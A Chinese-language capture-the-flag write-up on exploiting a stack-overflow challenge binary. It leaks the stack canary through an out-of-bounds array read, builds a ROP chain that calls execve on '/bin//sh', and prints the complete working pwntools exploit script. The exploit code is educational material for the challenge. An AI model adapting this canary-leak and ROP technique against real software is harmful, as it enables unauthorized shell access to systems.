首先看一下这个题目开启了哪些保护机制:
开了canary。这道题是一个静态编译的题目,最主要专注的知识点是如何泄漏canary。
从反汇编的源码中可以知道,我们可以通过控制V0的值,来读取栈上的数值,泄漏canary。
v2在栈中的位置是ebp-0xec。canary一般是写在低于ebp的位置上。我们通过调试程序来看一下canary写在了距离ebp的哪个位置上。
大家可以看到0x6033a500看起来像是canary。所以canary的位置是ebp-0xc那么v2距离canary的距离是0xe0。v2是数组,一个元素占4个字节。所以他们相差0xe0/4=56个元素。那么canary就是v2的第56个元素。所以泄漏canary的exp可以这样写:
p.recvuntil("index:\n")
p.sendline("56")
canary = int(p.recvline(),16)
这个程序是一个静态执行的程序。
我们可以通过ROPgadget —-binary “./bofcan” —-ropchain
来找到getshell的rop链。
payload += pack('<I', 0x0806f2da) # pop edx ; ret
payload += pack('<I', 0x080ea060) # @ .data
payload += pack('<I', 0x080b8076) # pop eax ; ret
payload += '/bin'
payload += pack('<I', 0x08054d0b) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x0806f2da) # pop edx ; ret
payload += pack('<I', 0x080ea064) # @ .data + 4
payload += pack('<I', 0x080b8076) # pop eax ; ret
payload += '//sh'
payload += pack('<I', 0x08054d0b) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x0806f2da) # pop edx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x080493b3) # xor eax, eax ; ret
payload += pack('<I', 0x08054d0b) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080481c9) # pop ebx ; ret
payload += pack('<I', 0x080ea060) # @ .data
payload += pack('<I', 0x080de8e9) # pop ecx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x0806f2da) # pop edx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x080493b3) # xor eax, eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0806cf55) # int 0x80
然后我们接下来需要的是知道这个rop链写在什么位置。
通过查看程序执行过程中,ebp和canary和ret之间距离多少地址。就可以需要多少字节做padding了。
上面的代码可以知道,我们需要通过填写v3来进行栈溢出。可以看到v3距离ebp 2c。再通过查看你ebp和canary的距离来确定需要多少字节。
最后exp如下:
from pwn import *
from struct import pack
context.log_level = 'debug'
p = process('./bofcan')
p.recvuntil("index:\n")
p.sendline("56")
canary = int(p.recvline(),16)
payload = 'a'*0x20 + p32(canary) + 'a'*12
payload += pack('<I', 0x0806f2da) # pop edx ; ret
payload += pack('<I', 0x080ea060) # @ .data
payload += pack('<I', 0x080b8076) # pop eax ; ret
payload += '/bin'
payload += pack('<I', 0x08054d0b) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x0806f2da) # pop edx ; ret
payload += pack('<I', 0x080ea064) # @ .data + 4
payload += pack('<I', 0x080b8076) # pop eax ; ret
payload += '//sh'
payload += pack('<I', 0x08054d0b) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x0806f2da) # pop edx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x080493b3) # xor eax, eax ; ret
payload += pack('<I', 0x08054d0b) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080481c9) # pop ebx ; ret
payload += pack('<I', 0x080ea060) # @ .data
payload += pack('<I', 0x080de8e9) # pop ecx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x0806f2da) # pop edx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x080493b3) # xor eax, eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0807ab2f) # inc eax ; ret
payload += pack('<I', 0x0806cf55) # int 0x80
p.recvuntil("content:\n")
p.sendline(payload)
p.interactive()